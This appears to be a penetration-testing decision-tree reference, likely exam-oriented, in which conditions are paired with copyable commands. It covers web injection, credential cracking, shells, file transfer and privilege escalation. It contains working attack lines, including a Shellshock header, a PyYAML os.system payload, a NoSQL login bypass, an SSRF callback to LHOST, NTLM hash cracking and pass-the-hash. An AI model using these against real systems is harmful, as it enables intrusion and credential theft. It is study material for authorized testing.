Copycurl -sk -o /dev/null -w '%{time_total}\n' --get --data-urlencode 'PARAM=BASELINE_VALUE' http://TARGET:PORT/PATH

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Convert database rights into a file or operating-system effect — Confirmed SQL control plus database file, execution or impersonation privileges
Requires: DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer

Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons

Conditional: validate an out-of-band SQL request channel — SQL execution is plausible but in-band output is unavailable
Requires: A DBMS/function capable of the selected outbound lookup, sufficient database/OS rights, allowed egress and a uniquely identifiable controlled receiver

DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer

CopySELECT SYSTEM_USER, ORIGINAL_LOGIN();
SELECT IS_SRVROLEMEMBER('sysadmin');

These are conditional possibilities. Check the named condition before moving.

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

The server accepts a lower-privilege identity's request for an object it should not access

Copycurl -sk -b lower-role.cookies http://TARGET:PORT/api/objects/OBJECT_ID

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Cross role, function or session authorization boundaries — Administrative actions/routes or request methods visible from a lower role
Requires: The lower-role identity can invoke a protected server-side action without its required authorization

Inspect source, backups, configuration and repository artifacts — JavaScript endpoints, backup names, exposed configuration or Git metadata
Requires: Readable application artifact or a complete recoverable repository; preserve the public-source scope

The lower-role identity can invoke a protected server-side action without its required authorization

Copycurl -sk -i -b lower-role.cookies http://TARGET:PORT/ADMIN_PATH

These are conditional possibilities. Check the named condition before moving.

Modify a protected property through excessive writable fields — API objects expose role, ownership or security-sensitive properties
Requires: The server binds an untrusted property to a persistent security-relevant field without checking permission

Use WordPress component evidence and authorized administration features — WordPress paths/components or an accepted application administrator credential
Requires: Exact component/version or a verified role; file-edit/plugin installation rights and runtime write/execution must be checked

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

The server binds an untrusted property to a persistent security-relevant field without checking permission

Copycurl -sk -b cookies.txt http://TARGET:PORT/api/PROFILE_PATH

These are conditional possibilities. Check the named condition before moving.

Cross role, function or session authorization boundaries — Administrative actions/routes or request methods visible from a lower role
Requires: The lower-role identity can invoke a protected server-side action without its required authorization

Use WordPress component evidence and authorized administration features — WordPress paths/components or an accepted application administrator credential
Requires: Exact component/version or a verified role; file-edit/plugin installation rights and runtime write/execution must be checked

Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons

Payload reaches a browser execution sink; any useful privileged action additionally needs a victim context, same-origin access and a valid request state

Copycurl -skG --data-urlencode 'PARAM=UNIQUE_MARKER' http://TARGET:PORT/PATH

These are conditional possibilities. Check the named condition before moving.

Cross role, function or session authorization boundaries — Administrative actions/routes or request methods visible from a lower role
Requires: The lower-role identity can invoke a protected server-side action without its required authorization

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons

Exact component/version or a verified role; file-edit/plugin installation rights and runtime write/execution must be checked

Copycurl -sk -i http://TARGET:PORT/wp-login.php

These are conditional possibilities. Check the named condition before moving.

Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

The application server performs a controllable request; destination/protocol policy and its network position permit the selected resource

Copycurl -skG --data-urlencode 'url=http://LHOST:PORT/SSRF_CANARY' http://TARGET:PORT/FETCH_PATH

These are conditional possibilities. Check the named condition before moving.

Establish scheme, host, redirects and request state — An HTTP endpoint, redirect or hostname-dependent response
Requires: Correct scheme/port and virtual host; saved cookies/headers for authenticated comparisons

Validate RDP, WinRM, VNC and Telnet access contexts — An exposed remote-access application and compatible known credentials
Requires: Enabled destination service, matching authentication and protocol-specific logon/session rights

Discover pivot interfaces, routes and internal service context — A foothold exposes an interface/subnet or a loopback-only service
Requires: A usable pivot process/identity and explicit scope; both forward and return directions must be understood

The application evaluates attacker-controlled template syntax and the selected engine exposes a useful object or function

Copycurl -sS -G --data-urlencode 'name={{7*7}}' http://TARGET:PORT/PATH

These are conditional possibilities. Check the named condition before moving.

Prove visible or blind operating-system command injection — An input appears in a command-like operation or causes shell-dependent behavior
Requires: Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof

Read files through directory traversal — A download/path parameter or URL segment influences a local filename
Requires: Untrusted path reaches a filesystem read outside its intended directory; process identity can read the requested file

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

External entity or XInclude processing is enabled and the parser identity can read the selected file

Copycurl -i -b cookies.txt -H 'Content-Type: application/xml' --data-binary @xxe.xml http://TARGET:PORT/PATH

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Inspect source, backups, configuration and repository artifacts — JavaScript endpoints, backup names, exposed configuration or Git metadata
Requires: Readable application artifact or a complete recoverable repository; preserve the public-source scope

Use server-side requests to inspect reachable internal behavior — URL import, preview, webhook or fetch behavior
Requires: The application server performs a controllable request; destination/protocol policy and its network position permit the selected resource

The framework preserves an attacker-controlled operator object and the query uses it without rejecting its type

Copycurl -i -c cookies.txt -H 'Content-Type: application/json' --data '{"username":"USER","password":{"$ne":""}}' http://TARGET:PORT/LOGIN

These are conditional possibilities. Check the named condition before moving.

Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons

Cross role, function or session authorization boundaries — Administrative actions/routes or request methods visible from a lower role
Requires: The lower-role identity can invoke a protected server-side action without its required authorization

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Required gadget classes and compatible dependency versions are loaded; transport preserves exact serialized bytes

Copyphpggc -l
phpggc -i Monolog/RCE1
phpggc -b Monolog/RCE1 system id > payload.b64

These are conditional possibilities. Check the named condition before moving.

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

Repair quoting, encoding and command-length boundaries — A simple command works while a longer or nested payload fails
Requires: Known outer request/template/database parser and inner shell; correct character encoding and transport length

The application uses an unsafe PyYAML loader that permits the selected Python object constructor

Copy!!python/object/apply:os.system ["id"]

These are conditional possibilities. Check the named condition before moving.

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Repair quoting, encoding and command-length boundaries — A simple command works while a longer or nested payload fails
Requires: Known outer request/template/database parser and inner shell; correct character encoding and transport length

Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

HTTP-derived environment data reaches an affected Bash process and the selected command is available

Copycurl -i -H 'User-Agent: () { :;}; echo; /usr/bin/id' http://TARGET:PORT/cgi-bin/SCRIPT

These are conditional possibilities. Check the named condition before moving.

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Connect a Linux reverse shell through an available interpreter — Linux command execution exists but an interactive channel is needed
Requires: A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener

Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

A DBMS/function capable of the selected outbound lookup, sufficient database/OS rights, allowed egress and a uniquely identifiable controlled receiver

Copyss -lnt
ip route get TARGET

These are conditional possibilities. Check the named condition before moving.

Infer SQL data through boolean or time-based differences — Query influence exists but rows are not rendered
Requires: A stable boolean response difference or controlled DB-specific delay; comparable repeated baseline requests

Extract data through UNION and visible SQL results — An injectable SELECT renders query results
Requires: Compatible column count/types, a reflected result position and rights to the requested data

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Artifact provenance and format; possible local/domain/application identity and compatible protocol

Copyfile FILE
head -c 160 FILE

These are conditional possibilities. Check the named condition before moving.

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Recover passwords with feasible dictionary, rule and mask attacks — A supported stored verifier or converted protected artifact
Requires: Correct format/mode, complete salt/context, justified candidates and an available offline tool/backend

Classify tickets and use a compatible cache — A ccache/kirbi file or an existing ticket cache
Requires: Correct principal/realm, valid lifetime, service scope, compatible cache format and naming/KDC route

Recover a protected KeePass database password — A readable KeePass database and possible associated key file
Requires: Complete database, compatible converter, and every required factor; a feasible password candidate strategy

Inspect and recover SSH private-key access — A private key from a file read, share, repository or home directory
Requires: Correct key format, passphrase if encrypted, matching server account/key authorization and accepted algorithm/policy

Recover Linux account passwords from matched records — Readable password verifiers and account metadata
Requires: Correct passwd/shadow pairing or known hash format; account identity and a feasible recovery strategy

Recover or reuse an NT password hash — An NT verifier from an appropriate credential source
Requires: Correct account/domain and actual NT hash; recovery mode or an accepting NTLM service with required destination rights

Recover a password from a captured NTLM response — A complete challenge-response record
Requires: Correct challenge/response formatting and feasible candidates; acquisition method must fit the allowed context

Recover a password from cached domain logon verifiers — A DCC2/MSCache record from matched SECURITY/SYSTEM material
Requires: Correct username/salt/iteration context and feasible offline candidates

Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Copynxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD'
ssh -p PORT USER@TARGET

These are conditional possibilities. Check the named condition before moving.

Enumerate SMB/RPC shares, files and identities — SMB/RPC endpoints, domain clues or new credentials
Requires: Reachable SMB/RPC; anonymous, guest, local or domain context must be explicit; share and filesystem ACLs both matter

Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights

Use SSH passwords, keys and forwarding-capable access — An SSH service and a known password, private key or agent context
Requires: Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission

Correct format/mode, complete salt/context, justified candidates and an available offline tool/backend

Copyhashcat --example-hashes
john --list=formats

These are conditional possibilities. Check the named condition before moving.

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Inspect and recover SSH private-key access — A private key from a file read, share, repository or home directory
Requires: Correct key format, passphrase if encrypted, matching server account/key authorization and accepted algorithm/policy

Request a selected service ticket for offline service-account recovery — A user-owned SPN and a useful service-account relationship
Requires: A valid domain authentication/TGT context, reachable KDC, target SPN and a feasible password/encryption candidate strategy

Complete database, compatible converter, and every required factor; a feasible password candidate strategy

Copyfile FILE
keepass2john FILE > keepass.hash

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Inspect source, backups, configuration and repository artifacts — JavaScript endpoints, backup names, exposed configuration or Git metadata
Requires: Readable application artifact or a complete recoverable repository; preserve the public-source scope

Correct key format, passphrase if encrypted, matching server account/key authorization and accepted algorithm/policy

Copychmod 600 KEY
ssh-keygen -y -f KEY

These are conditional possibilities. Check the named condition before moving.

Use SSH passwords, keys and forwarding-capable access — An SSH service and a known password, private key or agent context
Requires: Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission

Forward a selected service through an SSH client-side listener — SSH reaches a server that can access the needed internal service
Requires: Accepted SSH identity and forwarding policy; local listener availability and SSH-server-to-destination route

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Correct passwd/shadow pairing or known hash format; account identity and a feasible recovery strategy

Copyunshadow passwd.txt shadow.txt > linux.hashes
john --wordlist=WORDLIST linux.hashes

These are conditional possibilities. Check the named condition before moving.

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Use an allowed sudo operation to cross a privilege boundary — sudo -l grants an operation under a more useful identity
Requires: Exact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it

Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context

Correct account/domain and actual NT hash; recovery mode or an accepting NTLM service with required destination rights

Copyhashcat -m 1000 hashes.txt WORDLIST
nxc smb TARGET -d DOMAIN -u USER -H HASH

These are conditional possibilities. Check the named condition before moving.

Select password, NT hash, key-to-ticket or ticket authentication — A password, actual NT hash, AES/NT long-term key or ticket is available
Requires: Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Execute through uploaded service creation using PsExec — A destination grants administrative-share write and service-control rights
Requires: SMB/SCM reachability, writable required share, effective service-creation/start rights and an accepted password/hash or supported Kerberos context

Correct challenge/response formatting and feasible candidates; acquisition method must fit the allowed context

Copyhashcat -m 5600 responses.txt WORDLIST

These are conditional possibilities. Check the named condition before moving.

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Recover passwords with feasible dictionary, rule and mask attacks — A supported stored verifier or converted protected artifact
Requires: Correct format/mode, complete salt/context, justified candidates and an available offline tool/backend

Establish domain identity, DC, DNS, time and route — Domain credentials or a domain-joined foothold
Requires: Correct realm/domain and account qualification; reachable DC/services, usable DNS and acceptable clock skew

Correct username/salt/iteration context and feasible offline candidates

Copyhashcat -m 2100 dcc2.txt WORDLIST

These are conditional possibilities. Check the named condition before moving.

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Establish domain identity, DC, DNS, time and route — Domain credentials or a domain-joined foothold
Requires: Correct realm/domain and account qualification; reachable DC/services, usable DNS and acceptable clock skew

Recover passwords with feasible dictionary, rule and mask attacks — A supported stored verifier or converted protected artifact
Requires: Correct format/mode, complete salt/context, justified candidates and an available offline tool/backend

Correct principal/realm, valid lifetime, service scope, compatible cache format and naming/KDC route

Copyklist -c FILE

These are conditional possibilities. Check the named condition before moving.

Inventory, convert and import tickets in the correct logon context — A valid ticket/cache or a long-term key that can request a TGT
Requires: Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context

Select password, NT hash, key-to-ticket or ticket authentication — A password, actual NT hash, AES/NT long-term key or ticket is available
Requires: Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization

Preserve DNS, Kerberos names and time across a pivot — An IP connection works while hostname/Kerberos access fails
Requires: Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time

Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

Copysearchsploit PRODUCT VERSION
searchsploit -x EXPLOIT_ID

These are conditional possibilities. Check the named condition before moving.

Audit a PoC and reproduce its interpreter/dependency environment — A plausible exploit fails before reaching the target or has unreviewed side effects
Requires: Reviewed source, understood network/file actions, correct interpreter and compatible isolated dependencies

Repair a web PoC using the real HTTP transaction — An exploit sends requests but authentication, routing or parsing differs from the target
Requires: A valid baseline transaction with correct host, base path, session/CSRF state and request encoding

Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons

Use a framework module with explicit target and feature constraints — A reviewed module fits a verified exploit prerequisite set
Requires: Correct module/target/options, accepted payload/delivery route and the applicable current exam feature/target restrictions

Reviewed source, understood network/file actions, correct interpreter and compatible isolated dependencies

Copyfile exploit.py
python3 --version
python3 -m venv .venv
. .venv/bin/activate

These are conditional possibilities. Check the named condition before moving.

Repair a web PoC using the real HTTP transaction — An exploit sends requests but authentication, routing or parsing differs from the target
Requires: A valid baseline transaction with correct host, base path, session/CSRF state and request encoding

Compile and minimally adapt an existing native or memory-corruption PoC — An existing C/C++ or platform-specific PoC matches the candidate
Requires: Correct compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants

Repair quoting, encoding and command-length boundaries — A simple command works while a longer or nested payload fails
Requires: Known outer request/template/database parser and inner shell; correct character encoding and transport length

Correct compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants

Copyfile exploit.c
uname -m
file COMPILED_ARTIFACT

These are conditional possibilities. Check the named condition before moving.

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Generate a payload matching OS, process, format and handler — An existing exploit/delivery primitive needs a binary or raw payload
Requires: Verified target/process architecture, delivery format, callback route, payload constraints and a matching staged/stageless listener

Match an artifact to its executable consumer and runtime — A downloaded/generated artifact exists but does not run
Requires: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format

A valid baseline transaction with correct host, base path, session/CSRF state and request encoding

Copycurl -sk -i -b cookies.txt http://TARGET:PORT/PATH

These are conditional possibilities. Check the named condition before moving.

Prove visible or blind operating-system command injection — An input appears in a command-like operation or causes shell-dependent behavior
Requires: Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Repair quoting, encoding and command-length boundaries — A simple command works while a longer or nested payload fails
Requires: Known outer request/template/database parser and inner shell; correct character encoding and transport length

A functioning execution primitive and an observable output or controlled side effect

Copyhostname
id
pwd
ip addr
ip route

These are conditional possibilities. Check the named condition before moving.

Connect a Linux reverse shell through an available interpreter — Linux command execution exists but an interactive channel is needed
Requires: A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener

Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener

Copycommand -v bash python3 php nc
ip route get LHOST

These are conditional possibilities. Check the named condition before moving.

Repair a limited Linux terminal — A working shell lacks job control, terminal signals or interactive program support
Requires: A working channel and available PTY mechanism; correct local-terminal control sequence

Diagnose connection direction, listener and session failures in order — Command execution or payload delivery exists but the expected usable channel does not
Requires: A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence

Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination

Use a bind shell when the target can accept inbound connections — Reverse egress is unavailable but a target listener is reachable
Requires: Permission to bind, compatible Netcat/Ncat behavior and source-to-target listener connectivity through any required forward

Accepted remote-service rights or compatible PowerShell execution; correct encoding, policy context and callback route

Copyhostname
whoami /all
$PSVersionTable
$ExecutionContext.SessionState.LanguageMode

These are conditional possibilities. Check the named condition before moving.

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

Use WinRM, WinRS or PowerShell remoting — A WinRM listener and a candidate endpoint-authorized account
Requires: Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context

Distinguish PowerShell policy, language mode and protected execution layers — PowerShell reports scripts disabled, constrained syntax or an execution-control error
Requires: Actual host policy/language context and a supported allowed execution route; required runtime features remain available

Permission to bind, compatible Netcat/Ncat behavior and source-to-target listener connectivity through any required forward

Copync -h
ss -lnt

These are conditional possibilities. Check the named condition before moving.

Repair a limited Linux terminal — A working shell lacks job control, terminal signals or interactive program support
Requires: A working channel and available PTY mechanism; correct local-terminal control sequence

Relay a single TCP service through a fixed forward — One reachable pivot can connect to one internal TCP destination
Requires: A bindable pivot listener, source-to-listener access and pivot-to-destination connectivity

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Verified target/process architecture, delivery format, callback route, payload constraints and a matching staged/stageless listener

Copymsfvenom -l payloads
msfvenom --list formats
msfvenom -p PAYLOAD_NAME --list-options

These are conditional possibilities. Check the named condition before moving.

Match an artifact to its executable consumer and runtime — A downloaded/generated artifact exists but does not run
Requires: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format

Pair staged payloads with the correct handler and session lifecycle — A payload connects without a session, or a handler/session exits unexpectedly
Requires: Exact payload/architecture/transport pairing, correct listener binding, reachable staging path and suitable job/session configuration

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

A working channel and available PTY mechanism; correct local-terminal control sequence

Copytty
command -v python3 script socat

These are conditional possibilities. Check the named condition before moving.

Use an allowed sudo operation to cross a privilege boundary — sudo -l grants an operation under a more useful identity
Requires: Exact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it

Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context

Use SSH passwords, keys and forwarding-capable access — An SSH service and a known password, private key or agent context
Requires: Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission

Correct server bind and served directory; target-to-server route, available downloader and writable destination

Copypython3 -m http.server 8000 --bind LHOST --directory /PATH/TO/FILES

These are conditional possibilities. Check the named condition before moving.

Match an artifact to its executable consumer and runtime — A downloaded/generated artifact exists but does not run
Requires: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format

Use enumeration tools to generate manually testable candidates — A Linux foothold is available; run an early sweep for sudo rules, file capabilities, credentials and writable privileged paths
Requires: Verified target UID and architecture, a working shell/runtime, a reviewed transferred tool and a writable report location

Turn automated Windows findings into manually verified candidates — A Windows foothold is available; run winPEAS or a focused survey for service/task permissions, token privileges and credentials
Requires: Verified current token and architecture, a compatible reviewed executable or allowed PowerShell runtime, and a writable report location

Move Windows files through an authenticated SMB share — A Windows source can reach a temporary assessment-side SMB service
Requires: Inbound SMB listener on the server, outbound TCP/445 from the client, compatible SMB version and explicit share credentials

Stream a file over a direct TCP connection — Only a raw TCP tool and a direct or forwarded connection are available
Requires: Unambiguous sender/receiver direction, compatible Netcat listener syntax and a writable output file

Move a small artifact through a text-only channel — The existing command channel permits text but no convenient file-transfer connection
Requires: Available Base64 encode/decode, adequate command length and a writable destination

Use a temporary FTP transfer as a constrained fallback — The target has an FTP client and simpler transfer routes are unavailable
Requires: A deliberately selected temporary server, correct served directory, control/data paths and binary transfer mode

Reachable SSH/SFTP service, correct key/password and read/write rights; client/server subsystem compatibility

Copyssh -p PORT -i KEY USER@TARGET

These are conditional possibilities. Check the named condition before moving.

Match an artifact to its executable consumer and runtime — A downloaded/generated artifact exists but does not run
Requires: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format

Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination

Use SSH passwords, keys and forwarding-capable access — An SSH service and a known password, private key or agent context
Requires: Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission

Inbound SMB listener on the server, outbound TCP/445 from the client, compatible SMB version and explicit share credentials

CopyTest-NetConnection LHOST -Port 445

These are conditional possibilities. Check the named condition before moving.

Match an artifact to its executable consumer and runtime — A downloaded/generated artifact exists but does not run
Requires: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format

Turn automated Windows findings into manually verified candidates — A Windows foothold is available; run winPEAS or a focused survey for service/task permissions, token privileges and credentials
Requires: Verified current token and architecture, a compatible reviewed executable or allowed PowerShell runtime, and a writable report location

Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination

Unambiguous sender/receiver direction, compatible Netcat listener syntax and a writable output file

Copync -h
ip route get TARGET

These are conditional possibilities. Check the named condition before moving.

Match an artifact to its executable consumer and runtime — A downloaded/generated artifact exists but does not run
Requires: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format

Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination

Relay a single TCP service through a fixed forward — One reachable pivot can connect to one internal TCP destination
Requires: A bindable pivot listener, source-to-listener access and pivot-to-destination connectivity

Available Base64 encode/decode, adequate command length and a writable destination

Copybase64 -w 0 FILE
sha256sum FILE

These are conditional possibilities. Check the named condition before moving.

Repair quoting, encoding and command-length boundaries — A simple command works while a longer or nested payload fails
Requires: Known outer request/template/database parser and inner shell; correct character encoding and transport length

Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

A deliberately selected temporary server, correct served directory, control/data paths and binary transfer mode

Copyftp LHOST PORT
binary

These are conditional possibilities. Check the named condition before moving.

Match an artifact to its executable consumer and runtime — A downloaded/generated artifact exists but does not run
Requires: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format

Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination

Copy files through an authenticated SSH service — An SSH identity can access the needed source/destination
Requires: Reachable SSH/SFTP service, correct key/password and read/write rights; client/server subsystem compatibility

A working command channel and accurate effective identity, group, mount and process context

Copyhostname
id
uname -a
cat /etc/os-release
findmnt
sudo -l

These are conditional possibilities. Check the named condition before moving.

Prove effective file, directory, ACL and mount control — A root-consumed file or directory appears writable
Requires: Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately

Use an allowed sudo operation to cross a privilege boundary — sudo -l grants an operation under a more useful identity
Requires: Exact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it

Control a script, binary or configuration consumed by a privileged job/service — Root-owned cron, systemd or recurring process activity uses a controllable object
Requires: Effective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger

Use privileged group, daemon or container-management control — Membership or socket ACLs permit controlling a rootful daemon or useful session
Requires: Effective daemon/API permission, correct rootful/rootless or privileged mode, available resources and a host-affecting operation

Select an evidence-matched Linux software or kernel exploit — Permission/credential paths are insufficient and an exact affected build/configuration is present
Requires: Vulnerable package/kernel state, architecture, mitigations, namespaces and documented exploit-specific conditions

Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately

Copynamei -l /PATH/TO/OBJECT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT
findmnt -T /PATH/TO/OBJECT

These are conditional possibilities. Check the named condition before moving.

Control a script, binary or configuration consumed by a privileged job/service — Root-owned cron, systemd or recurring process activity uses a controllable object
Requires: Effective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger

Control a privileged program's shared-library resolution — A privileged executable has an unsafe library dependency, RPATH/RUNPATH or plugin path
Requires: Actual privileged load from a controlled location, matching ABI/name and required symbols, plus a trigger

Change a writable account or privilege-policy file — Account metadata or a privilege-policy file appears writable
Requires: Effective write/replace permission, known file syntax and a useful identity/policy consumer; preserve the original

Read access to the artifact; exact account/service context; session/agent access must include a usable live identity

Copyhistory
ps auxww
env
find /opt /var/www /srv -maxdepth 3 -type f -readable 2>/dev/null

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Use MySQL/MariaDB data and file primitives — A MySQL-compatible service and valid application/database credentials
Requires: Database authentication and exact schema/file privileges; secure_file_priv and server filesystem identity constrain file actions

Exact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it

Copysudo -n -l 2>&1
sudo -l

These are conditional possibilities. Check the named condition before moving.

Load a controlled library through a permitted sudo environment — A sudo rule explicitly preserves or permits a loader variable
